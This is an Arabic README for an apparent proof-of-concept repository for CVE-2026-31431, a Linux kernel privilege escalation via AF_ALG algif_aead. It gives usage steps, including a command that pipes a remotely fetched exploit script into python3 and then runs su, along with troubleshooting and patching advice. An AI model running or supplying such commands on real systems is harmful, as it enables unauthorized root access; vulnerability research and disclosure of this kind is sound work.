
إثبات مفهوم تعليمي يوضح تصعيد الامتيازات المحلية في نواة لينكس عبر AF_ALG algif_aead (CVE-2026-31431). يتضمن تعليمات الاستخدام وإرشادات التخفيف لأغراض البحث الدفاعي.
إثبات مفهوم تعليمي لثغرة CVE-2026-31431، المعروفة أيضًا باسم Copy Fail، وهي ثغرة تصعيد صلاحيات محلية في نواة لينكس تتعلق بواجهة التشفير AF_ALG / algif_aead.
[!WARNING] هذا المستودع مقدم لأغراض تعليمية ودفاعية وبحوث أمنية مصرح بها فقط.
لا تقم بتشغيل هذا الكود على أنظمة لا تملكها أو على أنظمة ليس لديك إذن كتابي صريح لاختبارها.
قد يكون الاستخدام غير المصرح به غير قانوني.
CVE-2026-31431 هي ثغرة تصعيد صلاحيات محلية في نواة لينكس تؤثر على النظام الفرعي للتشفير في النواة.
تتعلق الثغرة بمسار AEAD المكشوف عبر واجهة AF_ALG وقد تسمح لمستخدم محلي غير مميز بالتدخل في بيانات ذاكرة التخزين المؤقت للصفحات المرتبطة بالملفات القابلة للقراءة، مما قد يؤدي إلى تصعيد الصلاحيات على الأنظمة المعرضة للخطر.
يحتوي هذا المستودع على إثبات مفهوم تعليمي بسيط مخصص لبيئات المختبرات الخاضعة للتحكم.
يجب أن يوفر النظام المستهدف خوارزمية AEAD المطلوبة عبر AF_ALG.
يمكنك التحقق من ذلك باستخدام:
grep -i "authencesn\|authenc" /proc/crypto
يتوقع إثبات المفهوم دعمًا لخوارزمية مشابهة لما يلي:
authencesn(hmac(sha256),cbc(aes))
إذا لم تكن الخوارزمية متاحة، فقد يفشل إثبات المفهوم مع خطأ مثل:
FileNotFoundError: [Errno 2] No such file or directory
هذا يعني أن خوارزمية التشفير المطلوبة في النواة غير متاحة على النظام.
استنسخ المستودع:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
شغّل إثبات المفهوم:
python3 poc.py
أو شغّله مباشرة:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
تستخدم بعض أنظمة لينكس /bin/su بدلاً من /usr/bin/su. يمكنك التحقق من المسار الصحيح باستخدام:
which su
إذا لزم الأمر، اضبط المسار المستهدف داخل poc.py.
إذا حصلت على FileNotFoundError: [Errno 2] No such file or directory أثناء الربط بـ authencesn(hmac(sha256),cbc(aes))، فإن خوارزمية النواة المطلوبة غير متاحة.
تحقق من خوارزميات التشفير المتاحة:
cat /proc/crypto
أو بشكل أكثر تحديدًا:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
إذا كان إثبات المفهوم يشير إلى /usr/bin/su ولكن نظامك يستخدم /bin/su، تحقق باستخدام:
which su
ثم حدّث المسار في poc.py وفقًا لذلك.
يجب على المسؤولين التحديث إلى إصدار نواة لينكس مُصحح مقدم من موزع توزيعتهم.
بعد تحديث النواة، أعد تشغيل النظام لضمان تفعيل النواة المُصححة.
قد تشمل التخفيفات المؤقتة تقييد الوصول إلى وظائف التشفير المتأثرة في النواة اعتمادًا على البيئة والتوزيعة.
هذا المشروع مخصص فقط من أجل:
المؤلف غير مسؤول عن سوء الاستخدام أو الضرر أو النشاط غير القانوني الناتج عن هذا الكود.
استخدم فقط على الأنظمة التي لديك إذن صريح بها.
هذا المشروع مرخص بموجب رخصة MIT.